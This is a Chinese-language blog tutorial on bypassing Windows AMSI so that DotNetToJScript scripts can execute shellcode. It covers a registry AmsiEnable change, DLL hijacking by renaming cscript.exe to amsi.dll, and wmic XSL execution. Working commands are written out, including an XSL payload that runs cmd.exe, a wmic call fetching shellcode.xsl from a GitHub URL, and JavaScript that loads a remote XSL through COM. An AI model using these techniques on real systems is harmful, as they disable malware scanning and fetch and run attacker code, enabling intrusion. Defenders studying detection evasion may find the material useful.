0x00 简介
去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFighters、CACTUSTORCH、SharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
最近,学到了两种bypass的方式,所以进行一下分享。
0x01 禁用AMSI
这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
,尝试修改此键值为0:
再次运行脚本,可以看到shellcode成功执行了,如下图:
虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll
,如果我们把cscript.exe
重命名成amsi.dll会怎么样呢?1
2copy c:\windows\system32\cscript.exe amsi.dll
amsi.dll evil.js
可以看到成功shellcode 成功执行了,修改过滤器如下:
我们来看一下调用过程
可以看到,现在已经没有调用C:\Windows\System32\amsi.dll
,这也就让我们成功执行了我们的shellcode。
0x02 利用wmic
Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:1
2
3
4#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"
evil.xsl1
2
3
4
5
6
7
8
9
10
11
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
修改好的脚本,可以看这里:戳我
使用一下命令则可执行shellcode1
wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"
但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
那么怎么调用呢?
在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:1
2
3
4
5
6var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://host/a.xsl");
xml.transformNode(xsl);
self.close();
GIT : AMSI_bypass
使用如下图:
0x03参考
https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/